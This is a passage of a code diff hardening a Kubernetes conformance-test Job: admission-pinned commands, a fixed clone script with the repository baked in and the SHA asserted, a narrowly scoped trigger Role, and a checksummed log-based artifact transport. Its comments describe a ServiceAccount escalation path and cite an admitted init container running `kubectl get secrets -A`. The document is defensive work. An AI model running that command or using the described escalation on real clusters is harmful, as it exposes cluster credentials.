+#         or an injected value is a hard failure, never a run of the wrong tree.
+#
+# `args` is NOT a placeholder: it is a real list, and the trigger REPLACES it wholesale per
+# invocation shape. Keeping it a committed list (not a substituted scalar) is what lets this
+# file be handed to `kyverno apply` as-is.
+#
+# -----------------------------------------------------------------------------
+# WHICH ARGS ACTUALLY RUN ON THIS IMAGE — `--layer` IS MANDATORY AND MUST NAME ONLY l2/l3
+# -----------------------------------------------------------------------------
+# The runner image ships bash, git, python3, chainsaw and kubectl. It deliberately does NOT
+# ship flux, promtool, kyverno or kustomize, because L0/L1 are CI's job and run without a
+# cluster. But run.sh runs its OFFLINE L0/L1 stages first for any selection that is not
+# offline-only, and those stages need exactly those missing tools. Tracing run.sh:
+#
+#   requirement_scoped_dirs() is layer-bounded ONLY when --layer is given and != all;
+#   offline_selected_dirs() then filters the selection to /l0-static/|/l1-rendering/.
+#
+# so:
+#   ["--layer","l2,l3"]                                        -> offline selection EMPTY. RUNS.
+#   ["--layer","l2,l3","--requirements","R-NET-01"]             -> intersected to L2/L3. RUNS.
+#   ["--layer","l2,l3","--include-scope","whole-repo"]          -> scope union is ALSO
+#         layer-bounded, so only whole-repo-scoped L2/L3 tests (none today). RUNS.
+#   ["--requirements","R-NET-01"]        (no --layer, so LAYER=all) -> unbounded: pulls that
+#         requirement's L0/L1 tests into the run. FAILS on the missing toolchain.
+#   ["--layer","all","--strict-coverage"]                       -> every L0/L1 test. FAILS.
+#
+# The first three are measured working by the image build (PR #18); the last two are measured
+# failing. **The plan's "PHASE EXIT: --layer all" shape therefore cannot run in-cluster** — a
+# full-suite run still belongs to CI for L0/L1 plus this Job for L2/L3, not to this Job alone.
+# The committed default below is the narrowest shape that works.
+#
+# The admission policy's args allowlist is deliberately NOT narrowed to enforce this: a
+# security boundary should not encode which toolchain an image happens to ship, and the failure
+# mode of an allowed-but-unrunnable shape is a loud non-zero run, not an escalation. This
+# comment is the enforcement, and `ci/conformance.sh` (plan §3 item 4) is where it must land.
+#
+# -----------------------------------------------------------------------------
+# RESULTS TRANSPORT — base64 tar on STDOUT, truncation-detectable
+# -----------------------------------------------------------------------------
+# `command` is pinned to ["./run.sh"] by admission, so nothing can be appended after the
+# suite to package artifacts. run.sh therefore does it itself, on an EXIT trap, when
+# CONF_EMIT_ARTIFACTS_TGZ=1 (set below and nowhere else). It prints:
+#
+#   === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+#   <base64 of the tgz, wrapped at 76 columns>
+#   === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+#
+# The BEGIN and END headers are byte-identical and both carry the size, the base64 line
+# count and the sha256. A collector that checks all four (one BEGIN, one END, headers
+# equal, line count and digest match) cannot mistake a truncated `kubectl logs` for a
+# complete artifact set — which a bare blob would, because base64 decodes a truncated
+# stream to plausible garbage without complaint. See the block comment above
+# conf_emit_artifacts_tgz() in conformance/run.sh for the collector's exact obligations.
+#
+# `activeDeadlineSeconds` is deliberately shorter than the log-retention window: the
+# transport is the pod's log, so the Job must finish while that log still exists.
 # =============================================================================
 apiVersion: batch/v1
 kind: Job
@@ -28,7 +180,10 @@ metadata:
     app.kubernetes.io/part-of: conformance
 spec:
   backoffLimit: 0            # deterministic: a failed conformance run is a failure, no retry
+  # A retry would also re-emit the artifact envelope, giving the collector two BEGIN
+  # markers in one log. backoffLimit 0 keeps "exactly one envelope per Job" true.
   ttlSecondsAfterFinished: 3600
+  activeDeadlineSeconds: 5400   # L3 fault injection is slow; a hung run must not hold the gate
   template:
     metadata:
       labels:
@@ -37,38 +192,118 @@ spec:
       serviceAccountName: conformance-runner    # scoped test identity (rbac.yaml)
       restartPolicy: Never
       securityContext:
+        # runAsUser is explicit, not inherited from the image's USER: `runAsNonRoot: true`
+        # alone only *rejects* a root image, it does not choose a uid, and the runner image
+        # is built by a separate task (plan §5 step 1). 65532 is the conventional
+        # distroless `nonroot` uid; the Containerfile MUST create it. fsGroup makes both
+        # emptyDirs group-writable for that uid.
         runAsNonRoot: true
+        runAsUser: 65532
+        runAsGroup: 65532
+        fsGroup: 65532
         seccompProfile: { type: RuntimeDefault }
-      containers:
-        - name: chainsaw
-          # PIN to versions.env CHAINSAW_IMAGE (ghcr.io/kyverno/chainsaw:v0.2.12).
-          image: ghcr.io/kyverno/chainsaw:v0.2.12
-          workingDir: /workspace/conformance
-          # The suite repo is delivered into /workspace (git clone init-container or
-          # a Flux-populated volume). run.sh is the single entrypoint (identical to local).
-          command: ["./run.sh"]
-          # CI overrides args per invocation shape:
-          #   ["--requirements", "R-NET-01,R-NET-06"]   (merge gate) OR
-          #   ["--layer", "all", "--strict-coverage"]   (phase exit)
-          args: ["--layer", "all", "--strict-coverage"]
+      initContainers:
+        # ---------------------------------------------------------------------
+        # Deliver the suite AT THE COMMIT UNDER TEST into the shared workspace.
+        #
+        # NO SCRIPT AND NO ARGS HERE, DELIBERATELY. The logic lives in the repo at
+        # conformance/incluster/conformance-clone and is baked into the runner image at
+        # /usr/local/bin/conformance-clone. That is what makes the init container
+        # ENFORCEABLE: while the script was inline as `command: ["/bin/bash","-c"]` +
+        # `args: [<script>]`, no admission policy could distinguish the committed script
+        # from an attacker's — both are just `args` on a shell, and a Job with a privileged
+        # alpine init container running `kubectl get secrets -A` was ADMITTED (measured
+        # 2026-09-29). Rule `trigger-initcontainers-must-be-the-committed-clone-step` now
+        # pins this container to that one path with NO args, so it carries no
+        # caller-supplied code. Read that entrypoint for the clone/fetch/assert logic
+        # and for why the repository URL is hardcoded THERE rather than passed in env.
+        #
+        # Only the commit SHA is caller-supplied, and the entrypoint refuses anything that
+        # is not 40 hex characters before it touches the network.
+        # ---------------------------------------------------------------------
+        - name: clone-suite-at-commit
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
+          command: ["/usr/local/bin/conformance-clone"]
           env:
-            - name: CONF_ROOT
-              value: /workspace/conformance
+            - name: CONFORMANCE_GIT_SHA
+              value: "@@CONFORMANCE_GIT_SHA@@"
+            # BY SECRET NAME ONLY. Provisioned out-of-band by the operator (plan §3.6) as a
+            # READ-ONLY Gitea token with read access to this one repository — never a write
+            # token, never a deploy key with push. Keys: `username`, `token`.
+            # An env var is not a volume, which is how this coexists with the admission
+            # policy's workspace/results-only rule.
+            - name: GITEA_USERNAME
+              valueFrom:
+                secretKeyRef: { name: conformance-git-readonly, key: username }
+            - name: GITEA_TOKEN
+              valueFrom:
+                secretKeyRef: { name: conformance-git-readonly, key: token }
+            # Writable scratch + HOME on the workspace emptyDir, so the root filesystem
+            # stays read-only and no third volume is needed.
+            - name: TMPDIR
+              value: /workspace/tmp
+            - name: HOME
+              value: /workspace/home
           volumeMounts:
             - { name: workspace, mountPath: /workspace }
-            - { name: results, mountPath: /workspace/conformance/_artifacts }
           securityContext:
             allowPrivilegeEscalation: false
             readOnlyRootFilesystem: true
             capabilities: { drop: ["ALL"] }
             runAsNonRoot: true
+          resources:
+            requests: { cpu: 100m, memory: 128Mi }
+            limits: { cpu: "1", memory: 512Mi }
+      containers:
+        - name: chainsaw
+          # Digest-pinned under the conformance repository path — the admission policy
+          # rejects a mutable tag. Built from conformance/versions.env CHAINSAW_VERSION
+          # (+ kubectl, git, python3, bash); see plan §5 step 1.
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
+          workingDir: /workspace/src/conformance
+          # PINNED BY ADMISSION. Nothing may wrap or follow it, which is why the artifact
+          # envelope is emitted by run.sh itself rather than by a shell one-liner here.
+          command: ["./run.sh"]
+          # Replaced wholesale by the trigger per invocation shape (see the header).
+          # `--layer l2,l3` and NOT `--layer all`: see the WHICH ARGS ACTUALLY RUN block.
+          args: ["--layer", "l2,l3"]
+          env:
+            # run.sh derives CONF_ROOT from its own location; CONF_ARTIFACTS moves the
+            # artifact tree onto the `results` volume. It cannot live at its default
+            # conformance/_artifacts, because a volume mounted inside the clone target
+            # would make that directory non-empty and `git clone` would refuse it.
+            - name: CONF_ARTIFACTS
+              value: /results
+            # THE RESULTS CHANNEL. Set here and nowhere else: a local run must not spray a
+            # base64 tar over an operator's terminal.
+            - name: CONF_EMIT_ARTIFACTS_TGZ
+              value: "1"
+            - name: TMPDIR
+              value: /workspace/tmp
+            - name: HOME
+              value: /workspace/home
+          volumeMounts:
+            - { name: workspace, mountPath: /workspace }
+            - { name: results, mountPath: /results }
+          securityContext:
+            allowPrivilegeEscalation: false
+            readOnlyRootFilesystem: true
+            capabilities: { drop: ["ALL"] }
+            runAsNonRoot: true
+          # L3 fault injection drives etcd and Longhorn hard (see run.sh's HEAVY set and
+          # config/chainsaw-config.yaml); the limits bound the blast radius on a homelab
+          # node without starving the suite.
+          resources:
+            requests: { cpu: 250m, memory: 512Mi }
+            limits: { cpu: "2", memory: 2Gi }
       volumes:
-        # Suite source: populated by an init-container git clone of the impl repo at
-        # the commit under test, OR a Flux-synced source volume. (Init container
-        # omitted from this skeleton; wire in T-6.1b.)
+        # ONLY THESE TWO NAMES ARE ADMISSIBLE. Do not add a third.
+        # Suite source, written by the init container: /workspace/src is the checkout,
+        # /workspace/tmp is $TMPDIR, /workspace/home is $HOME.
         - name: workspace
           emptyDir: {}
-        # Results: CI collects report.junit.xml + coverage/ from here. Swap emptyDir
-        # for a results PVC if durability beyond pod lifetime is required.
+        # Artifact tree ($CONF_ARTIFACTS). Its contents are what the STDOUT envelope
+        # carries; an emptyDir is sufficient because the transport is the log, not the
+        # volume. Swap for a PVC only if the log channel is replaced (plan §7 item 4).
         - name: results
           emptyDir: {}

conformance/incluster/conformance-clone

@@ -0,0 +1,138 @@
+#!/usr/bin/env bash
+###############################################################################
+# conformance-clone — fetch the impl repo at the exact commit under test.
+#
+# Baked into the conformance-runner image at /usr/local/bin/conformance-clone, mode 0755
+# root:root, so the running container (uid 65532) cannot replace it. The Job's init
+# container runs it as `command: ["/usr/local/bin/conformance-clone"]` with NO args.
+#
+# WHY IT IS A FILE IN THE IMAGE AND NOT AN INLINE SCRIPT IN THE JOB
+# -----------------------------------------------------------------
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml pins the MAIN container's
+# `command` to ["./run.sh"] and constrains its `args` — but it never reads `initContainers`.
+# So a Job from `conformance-trigger` could carry an init container with
+# `command: ["/bin/sh","-c"]` and an arbitrary script, running as the privileged
+# `conformance-runner` SA. Reproduced by the policy's author: such a Job is ADMITTED
+# (pass 3, fail 0).
+#
+# The fix has two halves and NEITHER works alone:
+#   1. this file — a fixed path with fixed behaviour and no argument surface, so there is
+#      nothing for a caller to inject into; and
+#   2. a 4th policy rule requiring every initContainer's `command` to be exactly
+#      ["/usr/local/bin/conformance-clone"] with no `args`. That rule lives in the policy
+#      and is NOT this branch's to write — a security boundary changes in its own reviewed PR.
+# Without (2) this file is merely available, not required.
+#
+# THE ENV SURFACE IS THE OTHER HALF OF THE SAME HOLE — READ THIS BEFORE "SIMPLIFYING"
+# -----------------------------------------------------------------------------------
+# The admission policy says NOTHING about `env`. Verified: no `env`, `valueFrom` or
+# `secretKeyRef` clause appears in it. So a script that took its repository URL from the
+# environment would just move the injection one field over — the trigger sets
+# CONFORMANCE_REPO_URL to a repo it controls, this clones it, and `./run.sh` from THAT repo
+# executes under the privileged runner SA. Identical shape to the initContainers gap, and
+# "no args" would not have stopped it.
+#
+# Therefore the repository URL and the clone target are COMPILED IN below. The matching env
+# vars are still read, so the Job template can keep declaring them and stay self-documenting,
+# but a value that DISAGREES with the baked literal is a hard failure, never a redirect.
+# The only per-run input that is genuinely trusted is the commit SHA, and it must be 40 hex
+# characters of a commit that the baked repository actually contains.
+#
+# Inputs (environment; no arguments are accepted):
+#   CONFORMANCE_GIT_SHA   REQUIRED. 40 lowercase hex. The commit under test.
+#   CONFORMANCE_REPO_URL  optional. Must equal the baked URL if set.
+#   CONFORMANCE_SRC       optional. Must equal the baked target if set.
+#   GITEA_USERNAME        optional, from Secret `conformance-git-readonly`.
+#   GITEA_TOKEN           optional, from Secret `conformance-git-readonly`.
+#   TMPDIR / HOME         optional; must be under /workspace. Default to /workspace/{tmp,home}.
+#
+# Runs under: uid 65532, readOnlyRootFilesystem, only the `workspace` and `results` volumes.
+# Everything it writes therefore lives under /workspace. There is no writable /tmp.
+###############################################################################
+set -euo pipefail
+
+# --- COMPILED-IN, NOT CONFIGURABLE (see the header) --------------------------
+readonly BAKED_REPO_URL="https://gitea.home.keithjackson.dev/Home-Network/home-network-k3s-impl.git"
+readonly BAKED_SRC="/workspace/src"
+
+die() { printf 'FATAL: %s\n' "$*" >&2; exit 1; }
+log() { printf '==> %s\n' "$*"; }
+
+[ "$#" -eq 0 ] || die "takes no arguments (got $#: $*). Arguments are where an injection would live."
+
+# --- the one genuinely trusted input ----------------------------------------
+# A bad SHA must never degrade into "ran whatever the branch tip was": an unrendered
+# @@CONFORMANCE_GIT_SHA@@ placeholder has to be a hard failure, not a silent run of main.
+: "${CONFORMANCE_GIT_SHA:?CONFORMANCE_GIT_SHA is not set; the CI trigger did not render it}"
+printf '%s' "${CONFORMANCE_GIT_SHA}" | grep -Eq '^[0-9a-f]{40}$' \
+  || die "CONFORMANCE_GIT_SHA is not a 40-hex commit id: '${CONFORMANCE_GIT_SHA}'
+       The CI trigger did not substitute it, or substituted junk."
+
+# --- env that may agree with the baked values, but may not override them -----
+REPO_URL="${CONFORMANCE_REPO_URL:-${BAKED_REPO_URL}}"
+[ "${REPO_URL}" = "${BAKED_REPO_URL}" ] || die "CONFORMANCE_REPO_URL does not match the image's baked repository.
+         got:    ${REPO_URL}
+         baked:  ${BAKED_REPO_URL}
+       Refusing. A caller that can choose the repository can choose the code that runs."
+
+SRC="${CONFORMANCE_SRC:-${BAKED_SRC}}"
+[ "${SRC}" = "${BAKED_SRC}" ] || die "CONFORMANCE_SRC does not match the image's baked clone target.
+         got:    ${SRC}
+         baked:  ${BAKED_SRC}
+       Refusing."
+
+# Scratch paths must stay on the workspace volume; the root filesystem is read-only.
+# `/workspace` ITSELF is allowed, not just subdirectories: the image's own ENV sets
+# HOME=/workspace, and an earlier version of this guard rejected exactly that — it matched
+# only `/workspace/*` and so refused its own default. Caught by running it, not by reading it.
+: "${TMPDIR:=/workspace/tmp}"
+: "${HOME:=/workspace/home}"
+on_workspace() { case "$1" in /workspace|/workspace/*) return 0 ;; *) return 1 ;; esac; }
+on_workspace "${TMPDIR}" || die "TMPDIR must be /workspace or under it (got '${TMPDIR}')"
+on_workspace "${HOME}"   || die "HOME must be /workspace or under it (got '${HOME}')"
+export TMPDIR HOME
+mkdir -p "${TMPDIR}" "${HOME}"
+
+# --- credential (optional) ---------------------------------------------------
+# git's shell credential helper is invoked as `sh -c '<value> get'`, so it reads $1 and
+# answers from the environment. The token therefore never appears in argv and never on disk.
+#
+# ANONYMOUS FALLBACK, DELIBERATE AND ANNOUNCED. Read access to this repository currently
+# needs no credential (measured: `ls-remote` succeeds unauthenticated from inside this
+# image), so requiring the Secret would fail runs that would otherwise work — and would make
+# this script untestable without one. It is not a privilege downgrade: the integrity
+# guarantee here is the SHA assertion below, not the credential. Which mode was used is
+# logged, so a run that silently lost its Secret is visible in the log rather than inferred.
+CRED=''
+if [ -n "${GITEA_USERNAME:-}" ] && [ -n "${GITEA_TOKEN:-}" ]; then
+  CRED='!f() { if [ "$1" = get ]; then printf "username=%s\npassword=%s\n" "$GITEA_USERNAME" "$GITEA_TOKEN"; fi; }; f'
+  log "authenticating as '${GITEA_USERNAME}' (token from the environment, never argv)"
+else
+  log "no GITEA_USERNAME/GITEA_TOKEN in the environment — cloning ANONYMOUSLY"
+fi
+
+git_c() {
+  if [ -n "${CRED}" ]; then git -c credential.helper="${CRED}" "$@"; else git "$@"; fi
+}
+
+# --- clone, land the exact commit, and PROVE it ------------------------------
+log "shallow clone ${REPO_URL} -> ${SRC}"
+git_c clone --depth 1 --no-tags --single-branch "${REPO_URL}" "${SRC}"
+
+if ! git -C "${SRC}" cat-file -e "${CONFORMANCE_GIT_SHA}^{commit}" 2>/dev/null; then
+  log "${CONFORMANCE_GIT_SHA} is not in the shallow tip; fetching that commit"
+  git_c -C "${SRC}" fetch --depth 1 --no-tags origin "${CONFORMANCE_GIT_SHA}"
+fi
+
+git -C "${SRC}" checkout --detach "${CONFORMANCE_GIT_SHA}"
+
+# The assertion is the point of the whole script: everything above is best-effort plumbing,
+# this is what makes "the suite ran at the commit under test" a fact rather than a hope.
+head="$(git -C "${SRC}" rev-parse HEAD)"
+[ "${head}" = "${CONFORMANCE_GIT_SHA}" ] \
+  || die "checked out ${head}, expected ${CONFORMANCE_GIT_SHA}."
+
+test -x "${SRC}/conformance/run.sh" \
+  || die "no executable conformance/run.sh at ${head}."
+
+log "suite ready at ${head}"

conformance/incluster/kustomization.yaml

@@ -0,0 +1,14 @@
+# Reconciled by clusters/base/conformance.yaml (non-gating, wait:false).
+#
+# RBAC ONLY. chainsaw-job.yaml is deliberately NOT listed: that manifest is a TEMPLATE the CI
+# trigger renders and submits per run (with the commit SHA and the touched --requirements). Flux
+# reconciling it would create a permanent Job object and fight the trigger for ownership.
+#
+# The identities here are inert without
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml, which is what actually bounds
+# the trigger to the committed run shape. RBAC is the necessary half, that policy the sufficient
+# half — see the header of rbac.yaml.
+apiVersion: kustomize.config.k8s.io/v1beta1
+kind: Kustomization
+resources:
+  - rbac.yaml

conformance/incluster/rbac.yaml

@@ -174,3 +174,68 @@ subjects:
   - kind: ServiceAccount
     name: conformance-runner
     namespace: conformance
+---
+# =============================================================================
+# THE TRIGGER IDENTITY — deliberately NOT conformance-runner.
+#
+# THE ESCALATION THIS EXISTS TO CLOSE (docs/plans/l2-l3-conformance-ci-wiring.md §4):
+# Kubernetes places NO `use` check on a Pod/Job's `serviceAccountName`. So any principal
+# that can `create jobs` in this namespace can create a Job with
+# `serviceAccountName: conformance-runner` and an ARBITRARY command — i.e. run arbitrary
+# code with the runner's privileges (nodes/patch, pods/exec, namespaces/patch, jobs).
+# A CI-held token with plain `create jobs` therefore IS the privileged identity, no matter
+# how narrow its own RBAC looks. That would break R-SEC-02 ("CI holds no broad cluster
+# access") while appearing to satisfy it.
+#
+# RBAC ALONE CANNOT FIX THIS. The real boundary is the admission policy
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml, which admits Jobs from
+# THIS ServiceAccount only when they match the committed conformance shape. This Role is
+# the necessary half; that policy is the sufficient half. Neither works alone — do not
+# grant this Role without that policy reconciled and ENFORCING.
+#
+# Namespaced Role, bound only in `conformance`. No ClusterRole, deliberately.
+# =============================================================================
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  name: conformance-trigger
+  namespace: conformance
+  labels:
+    app.kubernetes.io/part-of: conformance
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: Role
+metadata:
+  name: conformance-trigger
+  namespace: conformance
+  labels:
+    app.kubernetes.io/part-of: conformance
+rules:
+  # Create the run, and watch it to completion.
+  - apiGroups: [batch]
+    resources: [jobs]
+    verbs: [create, get, list, watch]
+  # Read the Job's pod and its log — this is how results come back. Deliberately NOT
+  # pods/exec and NOT `kubectl cp`: the run tars its artifacts to stdout and CI decodes
+  # them from the log, so no execution channel into the runner pod is ever granted.
+  - apiGroups: [""]
+    resources: [pods, pods/log]
+    verbs: [get, list, watch]
+  # NOTHING ELSE. In particular NO delete on jobs (a trigger that can delete can hide a
+  # failed run), no secrets, no configmaps, no exec, no create on pods.
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: RoleBinding
+metadata:
+  name: conformance-trigger
+  namespace: conformance
+  labels:
+    app.kubernetes.io/part-of: conformance
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: Role
+  name: conformance-trigger
+subjects:
+  - kind: ServiceAccount
+    name: conformance-trigger
+    namespace: conformance

conformance/run.sh

@@ -60,6 +60,17 @@
 #   _artifacts/status/status.md        human requirement-status report (--status)
 #   _artifacts/status/status.json      machine requirement-status report (--status)
 #
+# Environment (both set ONLY by the in-cluster Job, incluster/chainsaw-job.yaml):
+#   CONF_ARTIFACTS=<dir>           relocate the artifact tree off the default
+#                                  conformance/_artifacts (the Job mounts a `results`
+#                                  volume, which cannot sit inside the git-clone target).
+#   CONF_EMIT_ARTIFACTS_TGZ=1      on exit — pass, fail or abort — print a delimited,
+#                                  checksummed base64 tar of the artifact tree to STDOUT,
+#                                  because `kubectl logs` is the only channel CI has out of
+#                                  the Job (no pods/exec, no kubectl cp). See the RESULTS
+#                                  TRANSPORT block below for the envelope and for the five
+#                                  checks a collector MUST make. Never set this locally.
+#
 # Run ledger (TRACKED — commit these; --record only):
 #   runs/<UTC>-<short-sha>/run.log            full tee'd run output (carries the sentinels)
 #   runs/<UTC>-<short-sha>/report.junit.xml   the JUnit for that same run
@@ -78,7 +89,12 @@ source "${CONF_ROOT}/lib/common.sh"
 # shellcheck source=versions.env
 source "${CONF_ROOT}/versions.env"
 
-ARTIFACTS="${CONF_ROOT}/_artifacts"
+# CONF_ARTIFACTS relocates the whole artifact tree. The in-cluster Job needs it (see
+# incluster/chainsaw-job.yaml): its `results` volume cannot be mounted at the default
+# path, because that path is inside the directory the init container `git clone`s into and
+# a mounted-in directory would make the clone target non-empty. Unset everywhere else, so
+# a local run is byte-identical to what it always was.
+ARTIFACTS="${CONF_ARTIFACTS:-${CONF_ROOT}/_artifacts}"
 COVERAGE_OUT="${ARTIFACTS}/coverage"
 STATUS_OUT="${ARTIFACTS}/status"
 JUNIT_OUT="${ARTIFACTS}/report.junit.xml"
@@ -208,6 +224,100 @@ if [ "${RECORD}" = 1 ] && [ -z "${CONF_RECORD_CHILD:-}" ]; then
   exit "${RUN_RC}"
 fi
 
+###############################################################################
+# RESULTS TRANSPORT (in-cluster only): a self-describing, truncation-detectable
+# base64 tar of the artifact tree, printed to STDOUT. OFF unless CONF_EMIT_ARTIFACTS_TGZ=1.
+#
+# WHY THIS LIVES IN run.sh AND NOT IN THE JOB MANIFEST. The admission policy that bounds
+# the CI trigger (platform/kyverno/admission/conformance-trigger-job-shape.yaml, Enforce +
+# fail-closed) pins the Job's `command` to exactly ["./run.sh"], so no shell may wrap the
+# suite to package artifacts afterwards. And the trigger identity deliberately holds NO
+# pods/exec and cannot `kubectl cp` (R-SEC-02; docs/plans/l2-l3-conformance-ci-wiring.md
+# §3.3 and §4), so `kubectl logs` is the ONLY channel out of the Job. The runner therefore
+# has to put its own artifacts on its own stdout. It is an EXIT trap, so a FAILED run still
+# ships its JUnit — the red report is the evidence the gate needs most.
+#
+# WHY THE ENVELOPE LOOKS LIKE THIS. `kubectl logs` is a lossy channel: `--tail`, a rotated
+# CRI log file, a dropped watch, or CRI's per-line split can each deliver a mere PREFIX of
+# the stream. base64 decodes a truncated stream without complaint, into a tar that gunzip
+# may even partially unpack — silent, plausible garbage. So the envelope carries everything
+# needed to PROVE completeness, and carries it TWICE:
+#
+#   === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+#   <base64 of the .tgz, wrapped at 76 columns>
+#   === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+#
+# THE COLLECTOR MUST DO ALL FIVE CHECKS, and treat any failure as a COLLECTION FAILURE —
+# never as "no artifacts", never as a pass:
+#   1. exactly one BEGIN line and exactly one END line;
+#   2. the two header payloads (everything after BEGIN/END) byte-identical — a mismatch
+#      means two interleaved or re-emitted envelopes in one log;
+#   3. the count of body lines between them equals lines=;
+#   4. the decoded byte count equals bytes=;
+#   5. sha256 of the decoded bytes equals sha256=.
+# No check is sufficient alone. A head-truncated log fails (1); a tail-truncated one fails
+# (1); a dropped interior line fails (3) and (5); a corrupted line that preserves the line
+# count fails (5). (1)+(2) are what make a partial log DETECTABLE rather than decodable,
+# which is the whole design requirement.
+#
+# `rc=` is the suite's own exit code, carried INSIDE the envelope so CI can cross-check it
+# against the Job's completion condition instead of trusting either signal alone.
+#
+# The archive holds the CONTENTS of the artifact tree (`tar -C "$ARTIFACTS" .`), not the
+# directory itself: CONF_ARTIFACTS makes that directory's NAME environment-specific
+# (`/results` in the Job, `conformance/_artifacts` locally), and an archive whose top-level
+# entry changed with the environment would be a trap for the collector. It unpacks the
+# contents wherever it likes.
+#
+# A packaging failure prints a single `... ERROR ...` marker and NOTHING else: no BEGIN, so
+# the collector's check (1) fails and it cannot mistake the run for one with no artifacts.
+###############################################################################
+CONF_ARTIFACT_MARKER="ARTIFACTS-TGZ-BASE64"
+CONF_ARTIFACT_ENVELOPE_VERSION="v1"
+
+conf_emit_artifacts_tgz() {
+  local rc="${1:-0}"
+  # Disarm FIRST: this runs from the EXIT trap and re-arming would recurse on the `exit`
+  # below. That explicit `exit "${rc}"` is also what guarantees this whole function cannot
+  # change the run's verdict — nothing here can turn a red run green or a green run red.
+  trap - EXIT
+  (
+    set +e
+    local tmp tgz b64 bytes lines sha payload
+    tmp="${TMPDIR:-/tmp}"
+    tgz="${tmp}/conformance-artifacts.$$.tgz"
+    b64="${tgz}.b64"
+    if ! tar -czf "${tgz}" -C "${ARTIFACTS}" . 2>/dev/null; then
+      printf '=== %s ERROR %s rc=%s reason=tar-failed path=%s ===\n' \
+        "${CONF_ARTIFACT_MARKER}" "${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}" "${ARTIFACTS}"
+      rm -f "${tgz}"
+      exit 0
+    fi
+    if ! base64 -w 76 < "${tgz}" > "${b64}" || ! command -v sha256sum >/dev/null 2>&1; then
+      printf '=== %s ERROR %s rc=%s reason=encode-failed ===\n' \
+        "${CONF_ARTIFACT_MARKER}" "${CONF_ARTIFACT_ENVELOPE_VERSION}" "${rc}"
+      rm -f "${tgz}" "${b64}"
+      exit 0
+    fi
+    bytes="$(wc -c < "${tgz}" | tr -d '[:space:]')"
+    lines="$(wc -l < "${b64}" | tr -d '[:space:]')"
+    sha="$(sha256sum "${tgz}" | cut -d' ' -f1)"
+    payload="${CONF_ARTIFACT_ENVELOPE_VERSION} rc=${rc} bytes=${bytes} lines=${lines} sha256=${sha}"
+    printf '=== %s BEGIN %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}"
+    cat "${b64}"
+    printf '=== %s END %s ===\n' "${CONF_ARTIFACT_MARKER}" "${payload}"
+    rm -f "${tgz}" "${b64}"
+    exit 0
+  )
+  exit "${rc}"
+}
+
+# Armed here, AFTER the --record re-exec above, so the recorder's parent process never
+# emits a second envelope into its child's tee'd log.
+if [ "${CONF_EMIT_ARTIFACTS_TGZ:-0}" = 1 ]; then
+  trap 'conf_emit_artifacts_tgz "$?"' EXIT
+fi
+
 # --- Coverage report is always produced (cluster-independent, R-TEST-04) --------------
 gen_coverage() {
   # Pass --allow-gap only when there IS an exemption: an empty DOCUMENTED_GAPS means no

conformance/tests/l0-static/admission-policies-actually-applied/chainsaw-test.yaml

@@ -0,0 +1,42 @@
+# =============================================================================
+# L0 STATIC — every authored admission policy is actually APPLIED  (R-SEC-01, R-SEC-02)
+# Catalog: docs/14 L0 row ("Pre-apply, in CI") — runs WITHOUT a cluster.
+#
+# WHY THIS EXISTS. `kyverno test` proves a policy is CORRECT. Nothing proved it was DEPLOYED.
+# platform/kyverno/ holds three lists and only platform-config/kustomization.yaml applies
+# anything; the other two are a reference copy and a namespace+HelmRelease render root. On
+# 2026-09-29 the R-SEC-02 boundary policy was added to the reference copy: it parsed, its
+# kyverno test passed, the gate passed, Flux reported the tier Ready at the new revision — and
+# the cluster ran the conformance-trigger ServiceAccount with nothing bounding it.
+#
+# WHOLE-REPO SCOPE, DELIBERATELY. The failure mode is a policy that is present but wired
+# nowhere, which by definition touches no requirement the diff attributes. A path-scoped run
+# would have skipped this check on the very commit that introduced the defect.
+# =============================================================================
+apiVersion: chainsaw.kyverno.io/v1alpha1
+kind: Test
+metadata:
+  name: admission-policies-actually-applied
+  labels:
+    conformance.home.k3s/R-SEC-01: "true"
+    conformance.home.k3s/R-SEC-02: "true"
+  annotations:
+    conformance.home.k3s/requirements: "R-SEC-01,R-SEC-02"
+    conformance.home.k3s/layer: "L0"
+    conformance.home.k3s/scope: "whole-repo"
+    conformance.home.k3s/safety-critical: "false"
+    conformance.home.k3s/executable: "true"
+    conformance.home.k3s/intent: >-
+      Every ClusterPolicy authored under platform/kyverno/ is either referenced by
+      platform-config/kustomization.yaml (so Flux applies it) or is a documented CI-only
+      exemption that is genuinely not applied — so a policy cannot be authored, tested,
+      green, and absent from the cluster.
+spec:
+  steps:
+    - name: every-authored-policy-is-applied-or-documented-ci-only
+      description: >-
+        Enumerate the ClusterPolicy files under platform/kyverno/ and assert each is wired
+        into the Kustomization that actually applies Kyverno CRs, or exempted with a reason.
+      try:
+        - script:
+            content: bash ./check.sh

conformance/tests/l0-static/admission-policies-actually-applied/check.sh

@@ -0,0 +1,120 @@
+#!/usr/bin/env bash
+# =============================================================================
+# L0 static check (offline, no cluster) — admission-policies-actually-applied
+# Serves: R-SEC-01, R-SEC-02 (admission enforcement is only real if it is APPLIED)
+#
+# WHY THIS EXISTS — a policy that ships green and never reaches the cluster.
+#
+# platform/kyverno/ holds THREE lists, and only one of them applies anything:
+#   1. platform/kyverno/admission/kustomization.yaml  — reference only. Its own sibling says
+#      "kept as reference; THIS file is the buildable render root".
+#   2. platform/kyverno/kustomization.yaml            — that render root: namespace +
+#      HelmRelease ONLY. It explicitly notes the ClusterPolicies are applied elsewhere.
+#   3. platform-config/kustomization.yaml             — THE ONE. Kyverno CRs go here because
